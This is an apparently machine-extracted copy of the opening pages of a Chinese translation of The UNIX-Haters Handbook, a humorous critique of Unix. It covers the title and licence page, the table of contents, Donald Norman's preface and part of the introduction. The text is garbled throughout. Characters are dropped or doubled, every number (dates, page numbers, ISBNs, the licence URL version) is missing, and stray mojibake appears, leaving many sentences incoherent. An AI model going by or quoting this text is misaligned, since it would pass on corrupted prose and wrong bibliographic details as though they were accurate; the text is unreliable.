1nWbGBk
1nWbGBk
1nWbGBk
Trasformi i suoi PDF in rivista online e aumenti il suo fatturato!
Ottimizzi le sue riviste online per SEO, utilizza backlink potenti e contenuti multimediali per aumentare la sua visibilità e il suo fatturato.
“ 下 次 遇 到 UNIX 瘾 君 子 想 恫 吓 你 , 就 翻 开 这 本 书 吧 。”<br />
—— 克 里 夫 · 斯 托 尔 , 畅 销 书 《 杜 鹃 鸟 蛋 》 作 者<br />
UNIX<br />
痛 恨 者<br />
手 册<br />
在 线 邮 件 列 表<br />
UNIX 痛 恨 者<br />
精 华 摘 录 , 揭 示<br />
UNIX 为 何 必 然 灭 亡 !<br />
西 蒙 · 格 芬 科<br />
丹 尼 尔 · 魏 斯<br />
斯 蒂 芬 · 斯 特 拉 斯 曼 编 著<br />
苹 果 电 脑 公 司<br />
唐 纳 德 · 诺 曼 ( 序 言 )<br />
AT&T 贝 尔 实 验 室<br />
丹 尼 斯 · 里 奇 ( 反 调 序 言 )<br />
翻 译
作 品 ( 中 文 翻 译 及 版 式 计 ) 采 用 知 共 享 “ 署 - 非 商 业 性 使 用 - 相 方<br />
式 共 享 . 中 国 大 ” 协 行 。 要 查 看 该 协 ,http://<br />
creativecommons.org/licenses/by-nc-sa/./cn/ 或或 者 写 信 到 中 国 北 京 中 国 人<br />
民民 大 学 明 德 法 学 楼楼 , 知 共 享 中 国 大 目 , 邮 编 。<br />
原原 书 信 息<br />
封封 <br />
书 The UNIX Hater's Handbook: The Best of UNIX-Haters Online<br />
Mailing Reveals Why UNIX Must Die!<br />
页 数 <br />
出 版 IDG Books Worldwide, Inc.; First Edition edition (June )<br />
语 言言 英 语<br />
ISBN-<br />
ISBN--
感 谢 肯 和 丹 尼 斯 , 要 不 是 你 们 就 没 有 这 本 书 了 。
目 录<br />
目 录<br />
i<br />
序 言<br />
xi<br />
前 言<br />
xv<br />
先 不 足 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xv<br />
我 们 是 谁 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xvii<br />
“UNIX 痛 者 ” 的 历 史 . . . . . . . . . . . . . . . . . . . . . . . . .<br />
xix<br />
你 不 是 一 个 人 . . . . . . . . . . . . . . . . . . . . . . . . . . . xxii<br />
献 者 及 致 谢 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxii<br />
版 式 明 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxvi<br />
“UNIX 痛 者 ” 免 声 明 . . . . . . . . . . . . . . . . . . . . . . . xxvii<br />
序 言 ( 反 调 )<br />
xxxi<br />
I 对 用 户 友 好 ? <br />
UNIX, 第 一 种 病 毒 <br />
. 瘟 疫 的 来 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 随 机 遗 传 物 的 积 累 . . . . . . . . . . . . . . . . . . . <br />
i
· ii· 目 录<br />
. 性 爱 、 毒 品 和 Unix . . . . . . . . . . . . . . . . . . . . . . . . . <br />
. 各 行 是 成 标 准 . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 什 么 Unix 厂厂 商 不 喜 标 准 Unix? . . . . . . . . . . . <br />
. 于 Unix 的 信 法 . . . . . . . . . . . . . . . . . . . . . . . <br />
欢 迎 你 , 新 用 户 ! <br />
. 神 秘秘 的 命 . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
. 事 故 总 发发 生 . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. “rm” 就就 是 结 . . . . . . . . . . . . . . . . . . . . . . <br />
.. 改 rm 的 行 不 是 法 . . . . . . . . . . . . . . . . <br />
. 始 如 一 的 前 冲 突突 . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 不 出 来 的 字 . . . . . . . . . . . . . . . . . . . . . . <br />
.. 让 朋 友 开 心 ! 让 对 手手 难 堪 ! . . . . . . . . . . . . . . . <br />
. 在 线 文 档 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
. 错 误 信 息 和 错 误 检 查 ? 这 个 真 没没 有 ! . . . . . . . . . . . . . . <br />
.. 想 删 除 文 件 么 ? 试 试 编 译 . . . . . . . . . . . . . . . <br />
.. 错 误 信 息 笑 . . . . . . . . . . . . . . . . . . . . . . <br />
. Unix 度 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
你 说 文挱 档掳 吗 ? <br />
. 在 线 文 档 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. “ 我 知 道 就就 在 这 …盚…盚 的 某 个 地 方 ” . . . . . . . . . . . <br />
.. “ 深 思 熟 虑 ” 没没 有 写 文 档 . . . . . . . . . . . . . . . . <br />
.. Shell 文 档 . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
. 这 个 就就 是 内 置 文 档 ? . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 如 何 得 到 真 的 文 档 . . . . . . . . . . . . . . . . . . .
· iii·<br />
. 就就 程程 序 员 , 才 不 用 户户 . . . . . . . . . . . . . . . . . . . . . <br />
.. 源 码 就就 是 文 档 . . . . . . . . . . . . . . . . . . . . . . <br />
. Unix 无 言言 课 程程 置 建 . . . . . . . . . . . . . . . . . . . . . <br />
邮 件 <br />
. Sendmail 伯 克 利 Unix 的 越 战战 泥 潭 . . . . . . . . . . . . . . . <br />
.. 一 段 悲 惨 的 历 史 . . . . . . . . . . . . . . . . . . . . . . <br />
. 题 回 的 邮 件 查 无 人 . . . . . . . . . . . . . . . . . . <br />
.. 第 一 区 分 邮 件 地 址 . . . . . . . . . . . . . . . . . . <br />
.. 第 二 解解 析 邮 件 地 址 . . . . . . . . . . . . . . . . . . <br />
.. 第 确 邮 件 去去 向 . . . . . . . . . . . . . . . . . . <br />
.. 第 四 确 投 递 邮 件 . . . . . . . . . . . . . . . . . . <br />
. 来 自 . . . . . . . . . . . <br />
.. 无 视 协 . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. > 来 自 Unix, 满 爱 心 . . . . . . . . . . . . . . . . . . <br />
.. uuencode 又 一 个 补补 丁 , 又 一 失 . . . . . . . . . . <br />
.. 错 误 信 息 . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
. 苹 果 电 脑 发发 生 的 邮 件 灾 难 . . . . . . . . . . . . . . <br />
瞌 睡 网 <br />
. 网 新 闻 和 新 闻 网 在 无 政 府 的 光 成 长 . . . . . . . . . . <br />
.. 死 于 帖 子 . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
. 新 闻 组 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 满 地 乱 滚 的 层 . . . . . . . . . . . . . . . . . . . . . . <br />
.. 大 更 . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
. 大 言言 不 惭 alt 层 . . . . . . . . . . . . . . . . . . . . . . . .
· iv· 目 录<br />
. 信 息 高 路 缺 信 息 . . . . . . . . . . . . . . . . . . . . . <br />
. rn、trn 一 分 钱 , 一 分 . . . . . . . . . . . . . . . . . . . . . <br />
. 有 题 , 就就 发发 帖 . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
. 新 闻 网 的 七 境 界 . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 懵懵 懂 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 热 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 能 耐 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 反 目 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 认 命 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 看 破 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
终 端 错 乱 <br />
. 原原 罪 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
. 咒 (curses) 背 的 魔 法 . . . . . . . . . . . . . . . . . . . . <br />
.. 画 蛇 添 足 的 分 隔 符 . . . . . . . . . . . . . . . . . . . . . <br />
.. 制 你 的 端 置 . . . . . . . . . . . . . . . . . . . . . <br />
X-Windows 之 灾 <br />
. X 第 一 种 模 块 化 的 件 灾 难 . . . . . . . . . . . . . . . . . . . <br />
.. 没没 有 图 形 的 图 形 用 户户 界 . . . . . . . . . . . . . . . . . <br />
.. Motif 自 渎 套 装装 . . . . . . . . . . . . . . . . . . . . . . <br />
.. ICCCM 害 命 凶 . . . . . . . . . . . . . . . . . . . . . <br />
. X 信 录 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 信 X 展展 示 了 户户 端 / 服 计 算 模 型 的 威 力 . . . . . <br />
.. 信 X 让 Unix“ 易 用 ” . . . . . . . . . . . . . . . . . <br />
.. 信 X “ 制 ” . . . . . . . . . . . . . . . . . .
· v·<br />
.. 信 X “ 移移 植植 ” . . . . . . . . . . . . . . . . . . <br />
.. 信 X 与 备 无 . . . . . . . . . . . . . . . . . . . . <br />
. X 图 形 能 牛 头 不 对 马 嘴 . . . . . . . . . . . . . . . . . . . . <br />
. X 路 不 通 . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
II 程 序 员 的 系 统 ? <br />
csh、 管 道 和 find <br />
. Shell 游 戏 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. Shell 崩 溃 . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 语 法 物 园 . . . . . . . . . . . . . . . . . . . . . . . <br />
.. “chdir” 命 玩 不 转 . . . . . . . . . . . . . . . . . . . .<br />
<br />
. Shell 编 程程 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. Shell . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 错 误 码 和 错 误 检 查 . . . . . . . . . . . . . . . . . . . . . <br />
. 管 道 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
. Find 命 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
编 写 程 序 <br />
. Unix 编 程程 环 境 的 精 彩 世 界 . . . . . . . . . . . . . . . . . . . . . <br />
. 在 柏 拉拉 图 的 洞 穴穴 砌 码 . . . . . . . . . . . . . . . . . . . . . <br />
.. 使 用 yacc 行 语 言言 解解 析 . . . . . . . . . . . . . . . . . . <br />
.. “Don't know how to make love. Stop.” . . . . . . . . .<br />
<br />
.. 头 文 件 . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 程程 序 和 手手 册 页 . . . . . . . . . . . . . . . . . . . <br />
.. 源 码 就就 是 文 档 。 哇 , 牛 逼 ! . . . . . . . . . . . . . . .
· vi· 目 录<br />
. “ 这 不 能 是 臭 虫 , 我 的 Makefile 需 要 它 !” . . . . . . . . .<br />
<br />
.. 对 付 程程 吐 文 件 . . . . . . . . . . . . . . . . . . . . . <br />
.. 盛 放 臭 虫 的 圣 骨 . . . . . . . . . . . . . . . . . . . . . <br />
.. 文 件 扩扩 展展 . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 健 壮 性 , 或或 者 “ 所 有 输 入 行 必 小小 于 个 字 符 ” . <br />
.. 常 处 理 . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 捕捕 捉捉 臭 虫 就就 是 自 于 社 . . . . . . . . . . . . . . . . . <br />
. 搞搞 不 ? 咱 启 呗 ! . . . . . . . . . . . . . . . . . . . . . . . <br />
C++<br />
<br />
. 向 对 象 的 汇汇 编 语 言言 . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 抱抱 歉 , 你 的 内 存 泄泄 漏 了 . . . . . . . . . . . . . . . . . . <br />
.. 难 学 吗 ? 这 就就 对 了 . . . . . . . . . . . . . . . . . . . . . <br />
. 语 法 催 吐 剂 . . . . . . . . . . . . . . . . . . . . . . . . . . . . .<br />
. 抽 象 什 么 ? . . . . . . . . . . . . . . . . . . . . . . . . . . . . .<br />
. C++ 于 C, 和 肺 癌 于 肺 . . . . . . . . . . . . . . . . . . . .<br />
<br />
<br />
<br />
. 程程 序 员 的 化 . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
III 管 理 员 的 噩 梦 <br />
系 统 管 理 <br />
. 让 Unix 持 续 运 行 , 还 要 调 校 到 . . . . . . . . . . . . . . . . <br />
.. Unix 系 的 老 化 时 间 周 , 而 不 是 . . . . . . <br />
.. 烂 泥 糊 不 墙 . . . . . . . . . . . . . . . . . . . . . . . <br />
. 磁 分 区 和 备 份 . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 分 区 快 翻 一 番 . . . . . . . . . . . . . . . . . . . . .
· vii·<br />
.. 宕 机 和 备 份 . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 磁 带 什 么 的 更 讨 厌 . . . . . . . . . . . . . . . . . . . . . <br />
. 配 置 文 件 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 多 机 , 多 疯 狂 . . . . . . . . . . . . . . . . . . . <br />
. 维 护 邮 件 系 . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
. 我 错 在 哪 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
安 全<br />
<br />
. Unix 全 的 矛 盾 世 界 . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 全 不 是 行 式 打 印 机 . . . . . . . . . . . . . . . . . . . <br />
. 盔 的 窟窟 窿窿 . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 超 级 用 户户 , 超 级 缺 陷 . . . . . . . . . . . . . . . . . . . <br />
.. SUID 的 题 . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 杜 鹃 鸟 蛋 . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. SUID 的 一 个 题 . . . . . . . . . . . . . . . . . . . . <br />
.. 程程 很 廉 价 盒 盒 很 危 险 . . . . . . . . . . . . . . . . . <br />
.. PATH 的 题 . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 启 时 的 陷 . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 全 通 道 和 特 洛 伊 木 马 . . . . . . . . . . . . . . . . . . <br />
.. 倒 了 就就 起 不 来 . . . . . . . . . . . . . . . . . . . . . . <br />
.. 神 秘秘 莫 测 的 密 . . . . . . . . . . . . . . . . . . . . . .<br />
.. 隐 藏 文 件 的 题 . . . . . . . . . . . . . . . . . . . . . .<br />
.. 拒拒 服 . . . . . . . . . . . . . . . . . . . . . . . . . .<br />
<br />
<br />
<br />
.. 系 的 使 用 没没 有 控 . . . . . . . . . . . . . . . . . . . <br />
.. 磁 过 载 . . . . . . . . . . . . . . . . . . . . . . . . . .<br />
. 虫 虫 爬 来 . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
· viii· 目 录<br />
文挱 件 系 统<br />
<br />
. 文 件 系 是 什 么 ? . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 文 件 系 的 一 家 子 . . . . . . . . . . . . . . . . . . . . . <br />
.. 想 一 个 文 件 系 . . . . . . . . . . . . . . . . . . . . . <br />
. UFS 邪 恶 源 . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 文 件 自 己 掉 . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 没没 有 文 件 类 型 . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 没没 有 录 长 度 . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 文 件 和 录 锁 . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 磁 必 完 美 . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 放 开 那 斜 . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 改 目 录 置 . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 超 使 用 磁 ? . . . . . . . . . . . . . . . . . . . . . . <br />
.. 不 要 write() . . . . . . . . . . . . . . . . . . . <br />
.. 最 性 能 . . . . . . . . . . . . . . . . . . . . . . . <br />
网 络 文挱 件 系 统<br />
<br />
. 不 总 是 用 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 捏捏 碎 的 饼 . . . . . . . . . . . . . . . . . . . . . . . . . <br />
. 没没 有 文 件 全 . . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 导 出 列 表表 . . . . . . . . . . . . . . . . . . . . . . . . . . <br />
. 与 文 件 系 无 ( 还 是 有 点 相 )? . . . . . . . . . . . . . . .<br />
<br />
.. 疑 似 文 件 损 . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 系 格 ! . . . . . . . . . . . . . . . . . . . . . . . . . <br />
.. 不 支 持 多 种 架 构 . . . . . . . . . . . . . . . . . . . . . .
· ix·<br />
IV 什 么 什 么 的 <br />
A 尾 声 <br />
B 作 者 都 承 认 ,C 和 Unix 不 过 是捔 恶 作 剧 而 已 <br />
C “ 差 一 点 才 更捩 好 ” 思 想 的 兴 起<br />
<br />
D 参 考 书 目 <br />
索 引
序 言<br />
唐 纳 德 · 诺 曼捪<br />
<br />
UNIX 痛 者 手手 册 ? 什 么 这 个 字 ? 写 的 什 么 ? 写 给 谁 看 ? 真 是 个<br />
怪 念 头 。<br />
但 的 一 个 多 小小 时 , 我 又 一 就就 这 么 在 厅 盒 盒 外 套 都 没没 脱 盒 盒<br />
阅 读 着 手手 稿稿 。 一 个 半半 小小 时 真 是 一 怪 的 书 啊 , 但 很 吸 引 人 两 个 小小 时<br />
好 吧 我 认 了 , 我 喜 这 书 。 这 是 一 非 流 的 书 , 但 有 非 流<br />
的 吸 引 力 。 有 没没 有 人 想 Unix, 黑 的 黄 色 抄抄 。<br />
就就 是 这 群 扔 石 块 的 暴 民民 , 当 他 们 拉拉 我 入 时 , 我 想 到 了 自 己 于 这 个 <br />
题 的 经 文 。 经 了 , 内 容 甚 至 被被 某 个 读 印 。 但 是 这 书 却 然<br />
没没 有 引 用 。 好 吧 , 我 来 <br />
唐 纳 德 核 诺 曼 ,《Unix 的 麻 烦 用 户户 界 差 》 [] ,《Datamation》 第 卷 第 期 第 <br />
至 页 , 月 。 内 容 印 于 芝 诺 核 W 核 匹 利 逊 和 利 亚 姆 核 J 核 班 农 ,《 透 视 计<br />
算 机 革 命 》 第 二 版 ,Hillsdale,NJ,Ablex, 。<br />
Unix 那 人 毛毛 骨 悚 然 的 魅 力 何 在 ? 的 操 作 系 , 却<br />
依 愈 发发 流 行 一 个 怕 的 系 , 不 过 它 品 更 糟 糕 一 个 如 差 的<br />
操 作 系 , 一 个 让 人 们 花 了 无 数 真 金 白 银 想 要 改 , 使 图 形 化 (Unix 的<br />
图 形 用 户户 界 , 现 在 这 就就 是 个 悖 ) 的 操 作 系 。<br />
你 知 道 Unix 的 真 麻 烦 是 什 么 ? 就就 是 Unix 得 流 行 了 , 这 超 出 了<br />
Unix 的 意 图 。Unix 的 意 图 是 运 行 在 DEC 老 的 PDP- 计 算 机 , 让 一 小小<br />
群 长 期 在 验 作 的 人 来 用 。 我 曾 经 拥拥 有 一 PDP-, 这 是 人 愉 快 的 ,<br />
房 间 大 小小 的 机 快 盒 盒 大 约 一 微 秒 执执 行 一 指指 美 的 指指 ( 真 <br />
的 程程 序 员 用 汇汇 编 写 程程 序 , 你 懂 的 ) 前 板 的 拨 开 表表 示 寄 存 内 容<br />
<br />
译 注 Donald Norman。<br />
<br />
译 注 Zenon W. Pylyshyn。<br />
<br />
译 注 Liam J. Bannon。<br />
<br />
译 注 Perspectives on the Computer Revolution,ISBN--。<br />
<br />
译 注 Digital Equipment Company, 数 字 备 <br />
xi
· xii· 目 录<br />
的 灯 。 在 启 程程 序 中 你 不 用 再 像 PDP- 和 PDP- 那 拨 开 了 , 但 即 使 这<br />
PDP- 仍 然 是 真 的 计 算 机 。PDP- 不 像 今 那 些 没没 有 灯 光 闪 烁 、 没没 有 寄<br />
存 开 的 玩 。 今 的 机 甚 至 不 能 单 执执 行 , 一 开 就就 能 全 。<br />
PDP- 的 内 存 有 机 字 , 这 比 我 的 PDP- 的 字 好 多 了 。<br />
我 输 入 这 篇 文 的 麦 金 塔 计 算 机 有 MUnix 不 是 麦 金 塔 计 的 。 有 这<br />
么 多 内 存 你 遇 到 什 么 挑挑 战战 ?Unix 的 生 于 CRT 控 制 , 对 于 我 们 中 的<br />
多 人 , 要 的 输 入 输 出 备 就就 是 每 秒 打 印 个 字 符 , 能 全 部 大 写 的 电<br />
传 打 字 机 ( 高 级 用 户户 的 电 传 打 字 机 每 秒 打 印 个 字 符 , 并 且 大 小小 写 都 有 ),<br />
至 于 那 种 配 备 纸 带 阅 读 的 型 , 我 是 很 心 水水 的 。 啊 , 这 才 是 真 的 计 算 时<br />
, 这 才 是 Unix 的 时 。 看 看 今 的 Unix 岁 月 陈 历 历 在 目 , 如 果 你 使<br />
用 全 大 写 的 登 录 , 多 Unix 仍 入 全 大 写 模 式 。 怪 啊 。<br />
Unix 曾 经 让 程程 序 员 不 疲 。 那 的 基 础 结 构 简 洁 美 , 然 而 用 户户 界<br />
着 恐 怖 , 不 过 那 时 候 没没 人 心 这 个 。 据据 我 所 知 , 我 是 文 字 ( 那 篇 臭<br />
昭 著 的 文 ) 对 吐 槽 的 第 一 人 从 电 脑 发发 出 , 我 的 文 在 UUCP 网<br />
广 流 传 , 然 我 收 到 了 超 过 页 满 满 当 当 的 嘲 和 挖挖 苦 作 回 答 。<br />
我 甚 至 被被 拽 贝 尔尔 验 , 站 在 一 个 人 挤 人 的 礼 堂 前 自 我 辩 护 。 我 都 挺挺 <br />
了 , 不 妙 的 是 Unix 挺挺 了 。<br />
Unix 是 那 时 的 计 算 环 境 计 的 , 而 不 是 今 的 机 。Unix 活 来<br />
的 唯 一 原原 因 是 别 人 都 烂 。 从 Unix 当 中 得 到 的 教 多 了 , 怎 么 就就 没没<br />
人 学 学 然 做 得 好 点 ? 例 如 从 头 开 发发 一 个 真 有 用 的 、 现 的 、 图 形 的<br />
操 作 系 ? 是 啊 , 还 效 法 Unix 的 成 道 分 发发 给 全 世 界 的 大 学 。<br />
我 得 承 认 我 和 Unix 间 有 种 深 深 的 爱 交 的 系 , 尽 管 我 极 力 想 要<br />
避 , 却 无 法 摆 脱 。 而 我 确 想 念 那 种 能 力 ( 是 那 种 必 要 ) 书 写 冗<br />
长 而 的 命 行 , 带 着 神 秘秘 而 多 的 标 、 管 道 、 过 滤 和 向 。 尽 管<br />
我 们 都 知 道 Unix 作 技 术 不 足 赢 得 战战 斗 , 但 Unix 却 持 续 流 行 着 , 这 仍 然<br />
是 一 个 大 的 谜 团 。 我 隐 约 觉 得 这 书 的 作 者 有 类 似 的 心 , 但 试 着<br />
( 在 序 言言 的 草 稿稿 中 ) 就就 这 么 写 , 我 被被 鄙 视 了 <br />
“ 当 然 我 们 很 你 的 序 言言 ,” 他 们 告 我 , 但 是 “ 唯 一 让 人 很 不 爽 的 地<br />
方 是 ‘ 得 了 吧 , 你 们 真 的 爱 它 。 盖 不 是 这 , 真 的 。 我 们 真 的 它 。 外 <br />
不 要 写 ‘ 你 们 不 承 认 盒 盒 看 看 , 这 就就 是 证 明 。 盖 ”<br />
我 还 是 疑 如 果 不 是 发发 自 内 心 的 爱 , 有 人 花 这 么 多 时 间 和 精 力 ,<br />
去去 写 他 们 多 么 痛 Unix? 我 把把 题 留 给 读 者 思 考 , 不 过 到 这 真 的 不 <br />
<br />
译 注 据据 这 是 贝 尔尔 验 了 让 有 大 写 的 端 使 用 Unix 的 法 当 登 录 是 全 大 写 就就 入 一 种<br />
特 殊 的 端 模 式 将将 输 出 全 部 转 换 成 大 写 , 并 且 把把 输 入 全 部 转 换 成 小小 写 。 这 个 能 已 经 从 Single Unix<br />
Specification 删 除 , 但 仍 然 见 于 Ubuntu GNU/Linux .。
· xiii·<br />
要 如 果 这 书 都 杀 不 死 Unix, 那 就就 没没 什 么 能 做 到 了 。<br />
至 于 我 吗 ? 我 换 成 了 麦 金 塔 电 脑 。 不 再 有 grep、 不 再 有 管 道 、 不 再 有<br />
SED 脚 。 有 简 单 、 的 生 活 “ 你 的 用 程程 序 意 外 出 了 , 错 误 编 <br />
-。 确 ?”<br />
唐 纳 德 核 诺 曼<br />
苹 果 电 脑 <br />
苹 果 院 士<br />
及 当 我 在 那 时 <br />
圣 迭 戈戈 , 利 福 尼 亚 大 学<br />
认 知 科 学 誉 教 授
前 言<br />
先 天 不 足 , 天 失 调<br />
在 我 看 来 , Unix 作 计 算 机 业 生 涯 的 起 点 , 例 如 科 毕 业 的 第<br />
一 份 作 , 就就 像 小小 孩 子 出 生 在 东 非 。 那 个 地 方 气 很 热 , 婴 儿 身 爬<br />
满 了 虱 子 和 苍 蝇 , 遭 着 营 不 和 常 见 疾 病 的 折折 磨 。 在 东 非 儿 童 眼<br />
中 , 这 就就 是 他 们 成 长 的 自 然 件 , 等 到 他 们 备 判 断 力 已 经 晚 了 ,<br />
编 写 shell 脚 已 经 被被 当 作 一 种 自 然 而 然 的 行 。<br />
盒 盒 肯 核 派 尔尔 ( 施 , 帕 罗 奥 托托 研 究 中 心 )<br />
现 Unix 是 一 场 灾 难 。 这 是 一 种 “ 不 操 作 的 系 ” 不 、 不 直<br />
观 、 不 体 谅 、 不 顶 用 , 再 孱 弱 不 堪 。 试 图 强 迫 Unix 做 些 有 用 途 的<br />
事 情 让 人 极 沮沮 丧 。<br />
现 Unix 阻 碍 了 计 算 机 科 学 的 发发 展展 , 浪 了 数 百 万 计 的 金 钱 , 摧摧 毁<br />
了 多 忠 用 户户 的 常 。 张 了 吗 ? 看 完 这 书 你 就就 改 想 法 。<br />
先 天 不 足<br />
Unix 最 初 是 解解 决 了 一 个 题 , 而 且 解解 决 得 很 好 , 就就 像 罗 马 数 字 、 水水 银<br />
治治 疗 梅 毒 和 复 写 纸 。Unix 和 这 些 技 术 一 , 已 经 成 历 史 的 陈 。 按按 照 <br />
计 , 运 行 Unix 的 机 内 存 限 、 磁 很 小小 、 没没 有 图 形 、 没没 有 网 、 运 行 缓<br />
慢 。 在 那 个 , 采 度 是 必 然 的 <br />
• “ 程程 序 简 单 小小 比 确 复 杂 更 。”<br />
• “ 你 需 要 解解 决 题 的 %。”<br />
<br />
译 注 Ken Pier。<br />
Unix 曾 经 是 AT&T 的 商 标 , 来 Unix 系 验 持 有 , 再 来 转 给 Novell。 据据 最 新 消 息 ,Novell<br />
有 意 转 让 给 X/Open, 但 于 最 近 各 种 交 易 来 来 回 回 , 很 难 及 时 知 道 到 谁 在 持 有 Unix。<br />
xv
· xvi· 目 录<br />
• “ 一 切 都 是 字 节 流 。”<br />
对 一 个 运 行 复 杂 要 用 的 操 作 系 , 这 些 度 不 再 。 如 果 让 一 个<br />
经 练 的 人 使 用 Unix 去去 完 成 事 全 的 任 , 这 些 度 甚 至 有 能 闹 出<br />
人 命 。<br />
在 过 去去 盒 盒 那 时 候 计 算 机 比 现 在 小小 得 多 、 能 少少 得 多 盒 盒 是 <br />
度 让 Unix 得 成 , 但 在 今 却 阻 碍 了 Unix 的 用 , 了 Unix 的 有<br />
效 性 , 这 很 耐 人 寻 味 。 每 当 嫁 接接 一 个 新 的 子 系 到 层 心 , 果 要 么 是<br />
出 现 排排 反 , 要 么 是 双 方 打 架 成 无 用 的 疤 痕 组 不 断 增 生 。Unix 的 网<br />
模 型 就就 是 一 个 不 和 谐 的 例 子 , 不 仅 像 巴 别 塔<br />
<br />
一 无 法 地 互 通 , 还 让<br />
Unix 素 紧 凑 著 称 的 内 大 小小 增 长 四 倍 Unix 的 窗窗 系 继 承 了 字 符 界<br />
神 秘秘 的 不 友 好 度 , 时 开 辟 出 让 高 计 算 机 身 爬 行 物 的 崭 新 道 路 <br />
Unix 新 的 系 管 理 消 耗 的 时 间 比 节 省 的 时 间 还 要 多 和 Unix 的 邮 件 服<br />
相 比 , 美 国 邮 政 总 局 都 堪 称 杰 出 。<br />
随 着 时 间 的 流 ,Unix 的 缺 陷 反 而 扩扩 大 了 。 不 对 新 手手 还 是 专 家 , 使<br />
用 Unix 都 仍 然 是 不 愉 快 的 经 历 。 尽 管 相 书 籍 汗汗 牛 栋 ,Unix 的 全 仍 然<br />
是 一 个 模 糊 不 清 的 目 标 尽 管 外 越 来 越 快 、 智 能 , 但 高 性 能 I/<br />
O 仍 然 是 白 做 梦 尽 管 厂厂 商 了 开 发发 “ 易 用 的 ” 图 形 用 户户 界 而 一 掷掷 千千<br />
金 , 但 不 在 哪 个 Unix 版 , 如 果 想 完 成 些 真 的 系 管 理 , 还 是 要 借<br />
风 格 的 电 传 打 字 机 界 。, 虽 然 对 Unix 的 期 望 越 来 越 高 ,<br />
但 Unix 的 表表 现 却 越 来 越 差 。Unix 无 法 从 内 部 修 补补 ,Unix 能 被被 抛 。<br />
<br />
译 注 《 圣 经 核 约 核 世 》 载 , 人 类 要 修 建 通 的 巴 别 塔 , 帝 让 人 类 各 自 不 的 语 言言<br />
导 致 无 法 互 相 沟沟 通 , 建 最 失 。
· xvii·<br />
们 是捔 谁<br />
我 们 是 学 者 、 黑 和 专 家 我 们 生 活 的 环 境 比 肯 核 派 尔尔 所 的 东 非 好 得<br />
多 我 们 用 过 的 系 比 Unix 高 级 得 多 、 有 用 得 多 、 得 多 , 这 种 水水 <br />
Unix 从 达 到 , 或或 永永 无 法 达 到 。 在 这 些 系 中 , 有 的 字 在 被被 遗
· xviii· 目 录<br />
, 例 如 TOPS- 、ITS( 不 容 时 分 系 ) 、Multics 、Apollo/Domain <br />
、Lisp 机 、Cedar/Mesa , 及 剑 鱼 我 们 当 中 有 些 人 甚 至 使 用 苹 果<br />
和 Windows 机 我 们 当 中 多 人 精 通 编 程程 , 曾 花 时 间 企 图 将将 自 己 的<br />
技 艺 用 于 Unix。 别 人 很 容 易 把把 我 们 当 成 是 对 现 不 满 而 心 妒 忌 , 或或 者 对<br />
那 些 被被 Unix 挤 出 市 场 的 系 心 存 浪 漫 的 回 忆 , 但 这 恐 怕 都 是 误 解解 我 们 的<br />
